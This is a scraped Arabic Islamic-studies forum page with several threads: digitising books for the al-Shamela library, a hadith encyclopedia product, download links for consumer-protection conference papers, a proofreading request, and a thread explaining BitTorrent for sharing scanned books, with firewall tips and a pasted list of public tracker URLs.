أخي لا غنى عن كلى الأمرين ولكن التصوير أيسر بكثير من الكتابة ولعل الله ييسر من يكتب فيما بعد
فلا يحجر على خير لأجل خير آخر ولكن هي دعوة منا للجميع خاصة الاخوة الذين يأخذون ولا يعطون الرجاء كل الرجاء المساهمة ولو بكتابة جزء من كتاب ولو بضع صفحات.
وبارك الله فيكم
ـ[حسين بن محمد]ــــــــ[06 - 10 - 08, 05:23 م]ـ
أعزز أولوية التصوير، ثم يكون التفريغ للشاملة بعد ذلك كل بما يستطيع.
ولا يخفى عليكم - حفظكم الله - أن الشاملة لم توضع إلا لتيسير البحث، وإلا فالمعول عليه هو الكتاب المطبوع أو المصور منه.
ـ[يونس1]ــــــــ[07 - 10 - 08, 04:52 ص]ـ
راجع الرابط التالي لتبين أن الشاملة معمرة و ال pdf مخربة.
http://www.ahlalhdeeth.com/vb/showthread.php?t=149702
ـ[حسين بن محمد]ــــــــ[07 - 10 - 08, 05:25 ص]ـ
يا أخي الفاضل الكريم .. ما تقول عنه pdf مخرب ما هو إلا صور مما يباع في المكتبات وطبعت منه آلاف النسخ، فما دخل الشاملة وتصوير الكتب بما تقول؟!!
ولا داعي أبدا للتعميم، وإيقاف فكرة التصوير كلها لمجرد خطأ علمي يراه فلان في كتاب كذا أو في كتاب كذا .. لا يصح أبدا.
تلك مسائل علمية يدرسها كل في تخصصه، فهذه وجهه، ومشروع التصوير والتفريغ للشاملة وجهة أخرى ..
ولا يخفى عليك أن من الكتب ما يغتفر خطؤه - إن كان خطأ -، ومنها ما لا يُرضى تصويره أصلا لمخالفات بينة ظاهرة شر نشرها كبير.
على كل حال، ليس كل كتاب يصوره الأخوة، وليس كل مصور يعوَّل عليه، المقصد هو إتاحة الكتب للباحثين وطلاب العلم، ثم تسهيل البحث عليهم ..
كان الواجب عليكم أن تفتحوا موضوعا فقط فيما يخص (تخصصكم) في علم الحديث تعرضون فيه وجهة نظركم فيما يخص موضع شيوخ البخاري، أما أن يفتح موضوعا ليعزز فكرة إيقاف التصوير لخطأ - من وجهة نظركم - وجدتموه في كتاب من الكتب المصورة على الشبكة (من مئات الكتب المصورة)، فلا أظن أن أحدا يوافقكم في ذلك أبدا ..
حفظكم الله ورعاكم ..
ـ[حسين بن محمد]ــــــــ[07 - 10 - 08, 05:43 ص]ـ
فعلى كل أخ - مأجور إن شاء الله - أن يتعب قليلا، فلا يصور الكتاب، ويكتبه باتقان ببرنامج word ، ومن ثم إلى الموسوعة الشاملة، وهذه فائدة كبيرة جدا إن شاء الله، وثوابها أعظم من تصوير الكتاب.
والله المستعان.
أتريد - بارك الله بك - أن يعيد الأخ تحقيق الكتاب عند كتابته للشاملة؟!
ملحوظة: لا تنس أخي الفاضل أن الشاملة لم توضع فقط لطلاب الحديث!! ويمكنك في أي وقت - إن رأيت ذلك - أن تعلن بأعلى صوتك ألا يصورن أحدكم كتاب كذا لسبب كذا وكذا. أو لا تضموه إلى الشاملة مثلا لسبب كذا وكذا ..
بارك الله بكم وحفظكم .. وزادكم حرصا على ميراث رسول الله - صلى الله عليه وسلم - ..(61/452)
يا أهل السعودية .. أبحث عن موسوعة جامع السنة
ـ[طالب علوم الحديث]ــــــــ[06 - 10 - 08, 05:26 م]ـ
السلام عليكم ورحمة الله و بركاته ..
إلى الإخوان و خصوصا أهل السعودية، ابحث عن البرنامج الذي أثنى عليه الشيخ علي الصياح و الشيخ ماهر الفحل و الذي أطلق عليه تسمية مشروع القرن الخامس عشر الهجري ((موسوعة جامع السنة)) للشركة العربية لتقنية المعلومات ..
فهل من مساعد؟؟
ـ[ابو عبد المحسن]ــــــــ[06 - 10 - 08, 07:23 م]ـ
السلام عليكم
أعتقد أن البرنامج لن يكون جاهزاً إلابعد الحج ...
ـ[طالب علوم الحديث]ــــــــ[07 - 10 - 08, 02:29 م]ـ
وعليكم السلام و رحمة الله و بركاته ..
الذي سمعته أنه نزل الأسواق، و الله أعلم، فهل أنت متأكد من الموعد أخي الكريم؟؟
جزاك الله خيرا أخي الكريم على الرد.
ـ[ابو عبد المحسن]ــــــــ[07 - 10 - 08, 02:43 م]ـ
لا لم ينزل في الأسواق ...
وقد أخبرني بعض الإخوة أن الموسوعة لن تنزل الا بعد الحج نقلاً عن المشرف العام على المشروع ...
ـ[أبو سلمى المغربي]ــــــــ[08 - 10 - 08, 08:28 م]ـ
للمزيد من المعلومات
http://arabia-it.com/esunna.aspx
لأول مرة في العالم الإسلامي مشروع القرن الخامس عشر الهجري أضخم موسوعة حديثية متعددة الخدمات. اعتمد على أوسع وأشمل موسوعة حديثية فريدة ومتميزة لخدمة السنة النبوية. أدق جمع وتحقيق ودراسة وتحليل أحاديث آثار مصنفات السنة.
فكرة المشروع الأولى
أطلق فكرتها الخليفة عمر بن الخطاب -رضي الله عنه- في بداية القرن الأول الميلادي، وأحياها وبعثها من جديد في نهاية القرن الأول الخليفة عمر بن عبد العزيز، واستمر العمل في تدوين السنة وتصنيف الكتب والجوامع عشرة قرون متواصلة. إلا أنها لم تأخذ أبدًا شكل الموسوعة الشاملة الموحدة. واليوم وبعد 14 قرنًا من عمر الأمة الإسلامية يصبح الحلم حقيقة، والأمل واقعًا ملموسًا في أوسع وأدق وأشمل موسوعة حديثية شاملة وموحدة على الإطلاق.
محرك بحث اشتقاقي ودلالي فريد
يتيح البرنامج أقوى محرك بحث اشتقاقي ودلالي سريع ودقيق، يسهل الوصول إلى الكلمات والعبارات المطلوب البحث عنها في جميع النصوص المدرجة بالبرنامج سواء أكانت متون الأحاديث أو الشروح أو الكتب والمراجع الأخرى المدرجة بالبرنامج.
أول جمع شامل ودقيق فى العصر الحديث
للمرة الأولى في تاريخ المسلمين الحديث يتم الجمع بين الشمولية والدقة في جمع نصوص السنة النبوية من جميع مصنفاتها المطبوعة، والتي تغطي الفترة من أول القرن الثاني إلى نهاية القرن الخامس الهجري، وتشمل أكثر من 500 مصنَّف للأحاديث المسندة، وتقع في أكثر من 3000 مجلد مطبوع، وتحتوى على أكثر من مليون صفحة مطبوعة، تم مراجعتها وتدقيقها وفق القواعد الأصيلة لتوثيق النصوص وضبطها عند المحدثين.
وظائف وخدمات وتقنيات غير مسبوقة
التفرد والتميز هما السمتان الغالبتان على موسوعة جامع السنة النبوية، حيث تجد مئات الوظائف والخدمات والتقنية الفريدة، لرسم مشجرات الأسانيد. أدق كشاف موضوعي للسنة؛ يشتمل على أكثر من 16 ألف موضوع، مع إمكانية عرض أطراف الحديث، وتخريجه من مختلف المصادر، وجمع شواهد ومتابعات كل حديث في الجامع، كما تقوم الموسوعة أيضًا بتحديد وربط غريب الحديث، والشروح والرجال، ومصطلحات الحديث ... إلخ.
موسوعة ضمن موسوعة
تشتمل موسوعة جامع السنة على موسوعة شاملة لرجال الحديث، وهي أكبر وأضخم موسوعة علمية غير مسبوقة تترجم لجميع رواة السنة ومصنفي كتبها، والمتكلمين في الرجال، فهي تشمل تراجم أكثر من40 ألف رجل من رجال الحديث، وقد جُمِعت مادتها العلمية من جميع المصادر المعتبرة، للوقوف على اسم الراوي، وترجمته، وشيوخه وتلاميذه، وأقوال أكثر من 1300عالم من علماء الجرح والتعديل.
المزايا العامة للبرنامج
تقنية متطورة لرسم شجرة إسناد كل حديث، مع إمكانية رسم شجرة الإسناد للحديث مع أطرافه أو شواهده.
عشرات الوظائف والخدمات والخصائص المتميزة والمفيدة والفريدة في بابها؛ للاستفادة القصوى من هذا الجامع الكبير.
عرض أطراف الحديث، وتخريجه في باقي المصادر، مع جمع شواهد ومتابعات الحديث من كل محتويات الجامع.
عرض الحديث كاملاً، مع إمكانية عرض المتن فقط.
عرض الحديث مشكلاً تشكيلاً كاملاً ودقيقًا مع مراعاة علامات الترقيم.
(يُتْبَع .. اقلب الصفحة)
(61/453)
خاصية الإعدادات تمكن من تحديد وتعديل نوع الخط وحجمه ولونه لكل مفردات الحديث؛ السند، والمتن، والغريب، والرواة ... وغير ذلك من الخصائص، أو العودة للإعدادات الافتراضية للبرنامج.
محرك بحث نصي اشتقاقي دلالي متقدم للبحث عن الكلمات، والعبارات باستخدام أقوى محلل صرفي ودلالي عربي.
دراسات حديثية متعددة، للرواة، والأسانيد، ولطائف الإسناد، وطرق الرواية من خلال أحاديث الجامع.
العديد من الفهارس المفيدة: آيات/ وقراءات/ وأعلام/ وأقوال/ وأحداث، وغيرها.
محتويات البرنامج
تشتمل الموسوعة على أكثر من 500 كتاب مسند.
النص الكامل لأكثر من مليون صفحة مطبوعة، تقع فى أكثر من 3000 مجلد تغطى كتب الصحاح والمسانيد والمعاجم والمصنفات والجوامع والأجزاء الحديثية، والمشيخات والأمالى، وكتب التفسير المسندة .... إلخ.
جمع وتحقيق ودراسة وتحليل أحاديث وآثار السنة النبوية المسندة مع الرجوع للمخطوطات.
آلاف التعليقات والتعقيبات والفوائد والاستدراكات على جميع كتب السنة المطبوعة.
أول مراجعة دقيقة وشاملة للمطبوع من كتب السنة المسندة.
أفضل وأدق كشاف علمى موضوعى للسنة النبوية "مكنز إسلامى جديد"، مكون من أكثر من 16ألف موضوع ترتبط بها كل الأحاديث و الآثار المسندة.
بلغت مصادر تحقيق ودراسة وتحليل المشروع أكثر من 10 آلاف كتاب مطبوع ومخطوط فى السنة وعلومها واللغة والتاريخ وغيرها.
شرح أكثر من 900 ألف كلمة غريبة فى متون الحديث بناءً على كتب الغريب.
إدراج شروح كتب السنة المشهورة،بعد مراجعتها وضبطها وتدقيقها وربطها بالأحاديث.
إدراج أوثق الأقوال للعلماء المتقدمين والمتأخرين فى الحكم على كل حديث من حيث الصحة والضعف.
الترجمة لأكثر من 40ألف راوٍ من جميع المصادر مع الإشارة إلى مظانها برقم الجزء ورقم الصفحة، وتشتمل على شيوخ وتلاميذ كل راو،وأقوال علماء الجرح والتعديل فيه.
التحقيق العلمي والتقنية الحديثة
تعد موسوعة جامع السنة الأولى من نوعها في العالم الإسلامي؛ حيث إنها تجمع بين جمع الأحاديث والآثار، ثم القيام بتحقيقها ودراستها وتحليلها وفق قواعد المحدثين، شاملة جميع مصنفات السنة المسندة المطبوعة ومقابلتها بالمخطوطات المتاحة، باستخدام أحدث التقنيات، مع إضافة التعليقات والفوائد والملحوظات العلمية على الأسانيد والمتون لكافة المصنفات التي اشتملت عليها الموسوعة.
وهنا برنامج آخر مجاني
الجامع للحديث النبوي آخر إصدار من الموقع الرسمي جربته الآن لا يحتاج إلى تفعيل ولا إلى سريال
http://www.ahlalhdeeth.com/vb/showthread.php?t=149398
ـ[سيدي محمد اندي]ــــــــ[08 - 10 - 08, 09:02 م]ـ
السلام عليكم
هل هو مجاني ام لا؟
وهل يفوق في خدماته جامع الحديث النبوي؟
ـ[أبو عبد الرحمن المصري]ــــــــ[09 - 10 - 08, 12:50 ص]ـ
السلام عليكم
هل هو مجاني ام لا؟
وهل يفوق في خدماته جامع الحديث النبوي؟
لم أكن أحب التعليق على هذا الموضوع، لكن أمر النبي صلى الله عليه وسلم بالنصح لكل مسلم يدفعني لتوضيح بعض الأمور دون ذكر تفاصيل، والحر تكفيه الإشارة.
برنامج جامع الحديث النبوي مر بمراحل كثيرة وتعاقب على الإشراف عليه كثيرون منذ بدايته حتى الآن، وقد تغير اسم البرنامج أكثر من مرة، فقد كانت بداية العمل في المشروع باسم "الحافظ المعاصر" ثم تغير الاسم إلى "جامع السنة" ثم "جامع الحديث النبوي" وأخيرا استقر على تسميته "الجامع للحديث النبوي" وقد صدرت إصدارات تجريبية كثيرة بكل مسمى من هذه الأسماء، وهذه الإصدارات موجودة مع القائمين على العمل الآن.
وقد نزل في الأسواق كما هو معروف منذ فترة برنامج مشابه له، مع بعض الإضافات، وها هي التجربة ستتكرر ثانية باسم "جامع السنة". وقد رأيت منذ فترة صورا لبرنامج "جامع السنة" ولم يكن فيه وقتها إضافات تذكر من الناحية العلمية، وكانت التغييرات كلها شكلية. والجديد الذي أتوقعه في البرنامج من الناحية البرمجية هو محرك البحث كما عرفت من بعض العاملين في الشركة القائمة عليه، أما الخدمات العلمية فكما قرأت في موقع الشركة فالجديد بالنسبة لي هو إضافة 100 كتاب، وهذا شيء جميل.
(يُتْبَع .. اقلب الصفحة)
(61/454)
عموما نصيحتي لكل الإخوة أن يتريثوا ولا يتعجلوا، فجامع السنة الجديد لن يكون كجامع السنة القديم بالمجان، وقد عرفت من بعض العاملين في الشركة منذ فترة ثمنه المتوقع، وهذا ما دفعني إلى نصيحة الإخوة بالتريث.
ـ[طالب علوم الحديث]ــــــــ[09 - 10 - 08, 02:36 م]ـ
جزا الله الجميع خيرا على مشاركاتهم في البيان و التوضيح ..
ـ[سيدي محمد اندي]ــــــــ[10 - 10 - 08, 01:47 م]ـ
لم أكن أحب التعليق على هذا الموضوع، لكن أمر النبي صلى الله عليه وسلم بالنصح لكل مسلم يدفعني لتوضيح بعض الأمور دون ذكر تفاصيل، والحر تكفيه الإشارة.
برنامج جامع الحديث النبوي مر بمراحل كثيرة وتعاقب على الإشراف عليه كثيرون منذ بدايته حتى الآن، وقد تغير اسم البرنامج أكثر من مرة، فقد كانت بداية العمل في المشروع باسم "الحافظ المعاصر" ثم تغير الاسم إلى "جامع السنة" ثم "جامع الحديث النبوي" وأخيرا استقر على تسميته "الجامع للحديث النبوي" وقد صدرت إصدارات تجريبية كثيرة بكل مسمى من هذه الأسماء، وهذه الإصدارات موجودة مع القائمين على العمل الآن.
وقد نزل في الأسواق كما هو معروف منذ فترة برنامج مشابه له، مع بعض الإضافات، وها هي التجربة ستتكرر ثانية باسم "جامع السنة". وقد رأيت منذ فترة صورا لبرنامج "جامع السنة" ولم يكن فيه وقتها إضافات تذكر من الناحية العلمية، وكانت التغييرات كلها شكلية. والجديد الذي أتوقعه في البرنامج من الناحية البرمجية هو محرك البحث كما عرفت من بعض العاملين في الشركة القائمة عليه، أما الخدمات العلمية فكما قرأت في موقع الشركة فالجديد بالنسبة لي هو إضافة 100 كتاب، وهذا شيء جميل.
عموما نصيحتي لكل الإخوة أن يتريثوا ولا يتعجلوا، فجامع السنة الجديد لن يكون كجامع السنة القديم بالمجان، وقد عرفت من بعض العاملين في الشركة منذ فترة ثمنه المتوقع، وهذا ما دفعني إلى نصيحة الإخوة بالتريث.
اخي اباعبد الرحمن المصري
بارك الله فيك يعلم الله انا نحبكم في الله
ولا نسمح لك باخفاء مثل هذه المعلومات فهي مفيدة جدا وتجعل طالب العلم على بصيرة بالواقع
وياليتكم تجازون الفعل بمثله فتطلعوا انتم على مميزات جامع السنة لحظة صدوره كالخدمات البحثية والكتب المضافة ... الخ وتجعلوها في الاصدار القادم من برنامجكم الجامع للحديث النبوي
فهو سيبقى في الصدارة دوما باذن الله
ـ[أبو تذكار]ــــــــ[20 - 07 - 09, 04:41 م]ـ
السلام عليكم هل نزل البرنامج الأسواق وكم ثمنه وأين أجده في السعودية؟
ـ[الطيماوي]ــــــــ[20 - 07 - 09, 11:00 م]ـ
قلتها سابقا وأقولها لاحقا
المستقبل للشاملة لو كان لها رجال(61/455)
[للتحميل] أبحاث ندوة ((حماية المستهلك في الشريعة والقانون)) في كلية الشريعة والقانون بجامعة الإمارات
ـ[خلدون الجزائري]ــــــــ[06 - 10 - 08, 08:17 م]ـ
مجموعة الأبحاث المقدمة لندوة ((حماية المستهلك في الشريعة والقانون))
التي نظمتها كلية الشريعة والقانون بجامعة الإمارات العربية المتحدة
في الفترة من 6 ـ 7 ديسمبر 1998م
سبق الإشارة إليه في المشاركة التالية: هنا ( http://www.ahlalhdeeth.com/vb/showpost.php?p=899852&postcount=13)، وأعيد ذلك هنا استقلالا للفائدة.
والكتاب الذي جمع هذه الأبحاث رابطه كالتالي:
http://slconf.uaeu.ac.ae/prev_conf/1998-med/1.pdf
ويمكن رفعه أيضا هنا ( http://ia311210.us.archive.org/1/items/hima-mostahlik1/hima-mostahlik1.pdf) مباشر، وصفحة التحميل هنا ( http://www.archive.org/details/hima-mostahlik1)
وتيسيراً على الباحثين هذا ترقيم لفهرس تلك الأبحاث الذي لا يتوفر في الكتاب، ويمكن تحميل صفحة هذا الفهرس من المرفقات
الموضوع/الباحث/الصفحة
ـ الحماية القانونية المدنية للمشتري في البيوع التي تتم عن طريق التلفزيون/د. جاسم علي سالم الشامسي/7
ـ دور الشريعة في حماية المستهلك/أ. د حمد عبيد الكبيسي/29
ـ دور الجمارك في حماية المستهلك (ورقة عمل) /السيد علي منيف الجابري/45
ـ حماية المستهلك في عقد الإذعان/د. محمد إ‘براهيم بنداري/51
ـ الحماية التشريعية للمستهلك/أ. د. أنور أحمد رسلان/77
ـ حماية المستهلك في اقتصاد السوق/أ. د. عبد الله عبد العزيز الصعيدي/95
ـ حماية المستهلك في إطار النظرية العامة للعقد/أ. د. حسام الدين كامل الأهواني/121
ـ آفاق مستقبلية لتطوير التعاون بين البلديات والقطاع الأهلي في مجال الرقابة الغذائية وحماية المستهلك/ د. عبد الله سليمان أبو رويضة/147
ـ دور التشريعات في إقامة التوازن بين المستهلك والتاجر/المستشار فاروق العربي/169
ـ دور العلامات التجارية في حماية المستهلك/د. محمد محمود الكمالي/191
ـ التجربة الأردنية في مجال تشريعات حماية المستهلك/د. محمد عبيدات/213
ـ الأهمية الاقتصادية لتشريعات حماية المستهلك/أ. د. عبد الله عبد العزيز الصعيدي/239
ـ الحماية الجنائية من الغش في المواد الاستهلاكية وغير الاستهلاكية/د. حسين غنايم/267
ـ حماية المستهلك في الشريعة الإسلامية/أ. د محمود محمد الطنطاوي/301
ـ النشريع الإسلامي كمصدر أساسي لحماية المستهلك ... /أ. د قاسم عبد الحميد الوتيدي/327ـ
ـ الحماية الجنائية للمستهلك في مجال المعادن الثمينة/د. جودة جهاد/347
ـ حماية المستهلك في الشريعة الإسلامية/القاضي عبيد محمد إبراهيم/373
ـ حكم التسعير في الفقه الإسلامي/أ. د محمود أحمد أبو ليل/405
ـ التسعير بين الهدي النبوي والقانون القطري/د. حصة عبد العزيز السويدي/441
ـ صيانة عقد البيع من الاستغلال في الفقه الإسلامي/د. سعد الدين صالح دداش/493
ـ حماية المستهلك في الشريعة الإسلامية/أ. د خليفة بابكر حسن/517
موضوع متصل: أبحاث ندوة حماية المستهلك المنظم في جامعة الوادي ـ الجزائر ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149667)
ـ[منير الجزائري]ــــــــ[09 - 10 - 08, 03:05 ص]ـ
جزاك الله خيرا(61/456)
[للتحميل] أبحاث ندوة حماية المستهلك المنظم في جامعة الوادي ـ الجزائر
ـ[خلدون الجزائري]ــــــــ[06 - 10 - 08, 08:26 م]ـ
فيما يلي:
أبحاث ملتقى وندوة حماية المستهلك
الذي نظمه المركز الجامعي بولاية الوادي بالجزائر
في 07 و08 جمادى الأولى 1429 هـ الموافق لـ 13 و14 أفريل 2008م
عناوين المداخلات في الملتقى:
ـ نظام الحسبة في في الإسلام وأثره في حماية المستهلك
ـ حماية المستهلك من منظور إسلامي
ـ الرقابة الشرعية للسوق وأثرها في حماية المستهلك
ـ مبادئ حماية المستهلك في التشريع الإسلامي من خلال فقه المعاملات
ـ حماية المستهلك من خلال التعاقد عن بعد
ـ المحتسب ودوره في حماية المستهلك
ـ المستهلك والمهني مفهومان متباينان
ـ دور معايير الجودة والأداء في تحسين حماية المستهلك
ـ دور السلطات العمومية في حماية القدرة الشرائية للمستهلك
ـ أسلوب التروي والاندفاع المعرفي باعتباره أحد محددات السلوك الاستهلاكي
ـ دور وأهمية الجودة والتقييس في حماية المستهلك
ـ حماية المستهلك من الممارسات المقيدة للمنافسة
ـ حماية رضا المستهلك أثناء التعاقد
ـ المستهلك الجزائري وإشكالية الاختيار
ـ حماية المستهلك بين أبوية الدولة ومسؤوليات جمعيات المجتمع المدني
ـ جمعيات حماية المستهلك وترشيد الاستهلاك.
ـ حق جمعية المستهلك في التقاضي.
ـ دور الجمعيات في حماية المستهلك.
ـ قانون العقد الدولي وأثره في حماية المستهلك.
ـ دور المنتج في حماية المستهلك.
ـ دور أجهزة الرقابة في حماية المستهلك في الجزائر.
ـ مشكلات تعويض المستهلك عن الأضرار الناجمة عن الغذاء الفاسد.
ـ دور مصالح مديرية التجارة في حماية المستهلك.
التحميل: من هنا ( http://ia310819.us.archive.org/3/items/hima-mostahlik2/hima-mostahlik2.pdf)، وصفحته من هنا ( http://www.archive.org/details/hima-mostahlik2)
موضوع متصل: أبحاث ندوة ((حماية المستهلك في الشريعة والقانون)) في كلية الشريعة والقانون بجامعة الإمارات ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149666)
ـ[منير الجزائري]ــــــــ[09 - 10 - 08, 05:16 م]ـ
بارك الله فيك(61/457)
اتمنى مساعدتي في خدمة كتاب الشيخ العلوان
ـ[أبو عمر السويدي]ــــــــ[07 - 10 - 08, 12:21 ص]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
اخواني بعد دراستي للبيقونية
والتتبع عن طريق كتاب الشيخ سليمان العلوان ثبته الله
" الأمالي المكية على المنظومة البيقونية "
وجدت الكثير من الأخطاء في الاسماء مثل زيادة او نقص حروف وخاصة في المصادر
الموجودة على الهامش
وقمت بتصحيح أغلبها
لكن اتمنى من احد الاخوة أن يكمل المشوار ويتم التصحيح
واصبح هناك اختلاف في الصفحات والبسبب هو أن النسخة الغير مصححة تكررت فيها صفحة فحذفتها
وهي الصفحة 34 + 35 فحذفت ال 34
وفي صفحة 39 [الغير مصححة] [ص 38 في المصححة]
ما فهمت بشكل متقن بسبب وجود تكرار ولخبطة فاتمنى تصحيحها
وفي صفحة 50 [الغير مصححة]
مكتوب " وكذلك وجد من يقا لله (حبان) بكسر الحاء غير صاحب الصحيح "
والله أعلم أن المقصود " وكذلك وجد من يقال له (حبان) .. "
فإن كنت أخطأت فيها فاتمنى التصحيح
وبشكل عام اتمنى مقابلتهم مع بعض وتصحيح الخطأ
جزاكم الله خيراً
ـ[أبو عمر السويدي]ــــــــ[09 - 10 - 08, 11:59 م]ـ
للرفع!!(61/458)
تقنية التورنت والكتب المصورة!
ـ[أسامة بن الزهراء]ــــــــ[07 - 10 - 08, 01:13 ص]ـ
الحمد لله وحده ...
هذه لمحة عن التورنت:
أولاً: ما هو مصطلح التورنت؟
مصطلحالتورنت هو صيغة تستخدم للتعبير عن أحد أهم وأحدث وسائل نقل الملفات و يعتبر من أفضل طرق التحميل وأضمنها , وفى نفس الوقت أبطاها لكنه مضمون مقارنة مع أي وسيلة أخرى , وهو أسهلها أيضاً فأنه لا يحتاج إلى برامج معقده وشفرات وغيره وبدوره جعل من الممكن تناقل وتبادل الملفات ذات الأحجام الكبيرة بدون تلفها نظرا لاستخدامه نظام الِحَزم Packets .
التورنت: هو عباره عن ملف صغير جداً فى الحجم كل ماعليه أن يربطك بالأجهزه المحمله للمادة سواءاً كانت فيلم أو تطبيق أو غيرها ولكل مادة ملف التورنت الخاص بها، والتوررنت يعتمد على مبدأ " التعاون " لتحميل الملفات.
ثانياً: سيدر (ناشر) ( seeder )
الناشر: هو الشخص الذي يشارك الآخرين بالملف , بمعنى لديك ملفات بمجلد المشاركة وبدورك أنت تتشارك مع الآخرين بهذه الملفات الذين هم بدورهم يقوموا بتحميلها منك.
ثالثاً: بير (نظير - مستنزف) ( PEER )
النظير: هذا هو الشخص الذي يرغب بتنزيل أو سحب بالملف من الناشر.
رابعاً: إذاً ماهو ملف التورنت؟
التورنت هو ملف تقوم بتحميلة من موقع ما، وهو صغير في الحجم، لكنه يحتوي على كل المعلومات عن كيفية الارتباط بالمتتبع (التراكر) ومتى يتم الأرتباط به وكيفية الحصول على الملف الذي ترغب به.
(إذاً مالمقصود بالتراكر؟؟)
التراكر هو سيرفر على الإنترنت يعمل وفقا لحركة برامج التورنت مثل الميو تورنت والأزيوريس وغيرها .....
فمثلا عندما تقوم بفتح ملف تورنت يقوم جهازك بالاتصال بالتراكر وسؤاله عن قائمة الـ seeds والـ peers المتاحة لكى يتصل بهم.
* ويظل أتصال جهازك بالتراكر يعمل فى منظومة , يخبره من خلالها التراكر عن حجم البيانات التى تم تحميلها ورفعها من خلال جهاز الكمبيوتر لديك كما يخبرك عن الوقت المتبقى لك لكى تنتهى من تحميل ملفاتك.
* فى حالة سقوط التراكر فإنك لن تستطيع تحميل بيانات ملف التورنت الذى قمت بتحميله منه مسبقاً , أما فى حالة سقوط التراكر أثناء تحميل ملف التورنت " أى أنك الآن متصل بالفعل بقائمة الـ peers " فإن التحميل لن يتوقف فى هذه الحالة وستظل عملية نقل البيانات مع هؤلاء الـ peers قائمة , مع ملاحظة أنه لن يستطيع أى peer إضافى الاتصال بالخلية " swarm " .
أريد نشر كل ما عندي من كتب مصورة على ملف تورنت حتى تعم الفائدة، وقد جربت مع أحد الإخوة الفضلاء وأرسلت له ملف ترونت يضم بعض الكتب ... ظهرت الكتب بلغة عربية فصيحة لكنه اصطدم بالجدار الناري ( Firewall ) ولم يتمكن من التحميل أصلا ... وأنا كنت أوقفته لهذا الغرض
فالقصد أيها الأحبة: نريد حلا لهذه المشكلة، خصوصا وأن هذه التقنية متميزة جدا، ويمكن تحميل أي كتاب ضمن المجموعة الموجودة على التورنت، والأهم من هذا كله ... أنه كلما زاد عدد من يحمل ... زادت سرعة التحميل
ننتظر ما تتفضلون به
وجزاكم الله خيرا
ـ[حسين بن محمد]ــــــــ[07 - 10 - 08, 01:34 ص]ـ
ما شاء الله .. فكرة ممتازة ..
وبالنسبة لموضوع الجدار الناري فنصيحة:
استخدم Avira Premium Security suite 8
فعندي أنه ممتاز، وقد ارتحت معه، ويغنيك عن كل ما سواه من برامج الأنتي فيروس وبرامج الإنترنت سيكيروتي، وبرامج الجدار الناري.
وعندما يبدأ برنامج التورنت في الاتصال أول مرة اسمح له.
ـ[يحيى صالح]ــــــــ[07 - 10 - 08, 08:25 م]ـ
بارك الله فيك يا ابن الزهراء
وحشتنا مشاركاتك جدًا، تقبل الله منا و منكم.
أنا أستخدم النود32 بآخر التحديثات و لا يصطدم أبدًا بالتورنت.
ـ[متأمل]ــــــــ[08 - 10 - 08, 02:25 ص]ـ
لعل المشكلة وجوب فتح البورت في الراوتر لكي تتمكن من نفاذ الاتصال
ـ[قارئ القارئ]ــــــــ[15 - 11 - 08, 03:23 م]ـ
اضم صوتي لصوتك في تبادل الكتب وغيرها عبر التورنت
لو تبدأ بطرح ملفاتك ونحن نحمل ونتركها للشباب ليحملوا منا
ـ[أسامة بن الزهراء]ــــــــ[15 - 11 - 08, 03:25 م]ـ
لعل المشكلة وجوب فتح البورت في الراوتر لكي تتمكن من نفاذ الاتصال
لست أنا من يصطدم بالجدار الناري، وإنما من يحمل هو من يقع معه هذا
ـ[أبو عبيد محمد نجيب]ــــــــ[15 - 11 - 08, 03:38 م]ـ
لست أنا من يصطدم بالجدار الناري، وإنما من يحمل هو من يقع معه هذا
ضع لنا ملف تورنت لنجرب.
ـ[ايهاب الزين]ــــــــ[15 - 11 - 08, 08:18 م]ـ
اخي الكريم
موضوع ممتاذ
والاهم من ذلك وضع ملف التورنت للكتب حتى نستطيع تحملها وبالتالى زيادة السرة
ومشاركتي هي اضافة بعض التراكرات لتسريع التحميل
ممكن تأخذها كوبي وبست في اللسان الخاص بالتراكرات في برنامج التورنت الذي تستعماه
التركرات هي
http://open.tracker.thepiratebay.org/announce
http://www.torrent-downloads.to:2710/announce
http://denis.stalker.h3q.com:6969/announce
http://pirates.sumotracker.com/announce
http://www.sumotracker.com/announce
http://inferno.demonoid.com:3389/announce
ttp://p2p.arenabg.com:2710/6de7d92c347020d976a9340cef7a5200/announce
http://vip.tracker.thepiratebay.org:80/announce
http://tracker3.desitorrents.com:6969/announce
http://a.tracker.thepiratebay.org:80/announce
http://tpb.tracker.thepiratebay.org:80/announce
http://tracker.prq.to:80/announce
http://p2p.arenabg.com:2710/7b32e913257f595a6a080dd48a8cd8f5/announce
http://www.hashish.ath.cx:6969/announce
http://218.145.160.136:8080/announce
http://alt.sextorrent.to:2710/announce
لعلي اكون ساهمت بشئ
وجزاكم الله خيرا
(يُتْبَع .. اقلب الصفحة)
(61/459)
ـ[ايهاب الزين]ــــــــ[15 - 11 - 08, 08:19 م]ـ
اخي الكريم
موضوع ممتاذ
والاهم من ذلك وضع ملف التورنت للكتب حتى نستطيع تحملها وبالتالى زيادة السرة
ومشاركتي هي اضافة بعض التراكرات لتسريع التحميل
ممكن تأخذها كوبي وبست في اللسان الخاص بالتراكرات في برنامج التورنت الذي تستعماه
التركرات هي
http://open.tracker.thepiratebay.org/announce
http://www.torrent-downloads.to:2710/announce
http://denis.stalker.h3q.com:6969/announce
http://pirates.sumotracker.com/announce
http://www.sumotracker.com/announce
http://inferno.demonoid.com:3389/announce
ttp://p2p.arenabg.com:2710/6de7d92c347020d976a9340cef7a5200/announce
http://vip.tracker.thepiratebay.org:80/announce
http://tracker3.desitorrents.com:6969/announce
http://a.tracker.thepiratebay.org:80/announce
http://tpb.tracker.thepiratebay.org:80/announce
http://tracker.prq.to:80/announce
http://p2p.arenabg.com:2710/7b32e913257f595a6a080dd48a8cd8f5/announce
http://www.hashish.ath.cx:6969/announce
http://218.145.160.136:8080/announce
http://alt.sextorrent.to:2710/announce
لعلي اكون ساهمت بشئ
وجزاكم الله خيرا
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[16 - 11 - 08, 03:55 م]ـ
أما مشكلة الجدار الناري فهي سهلة يسيرة
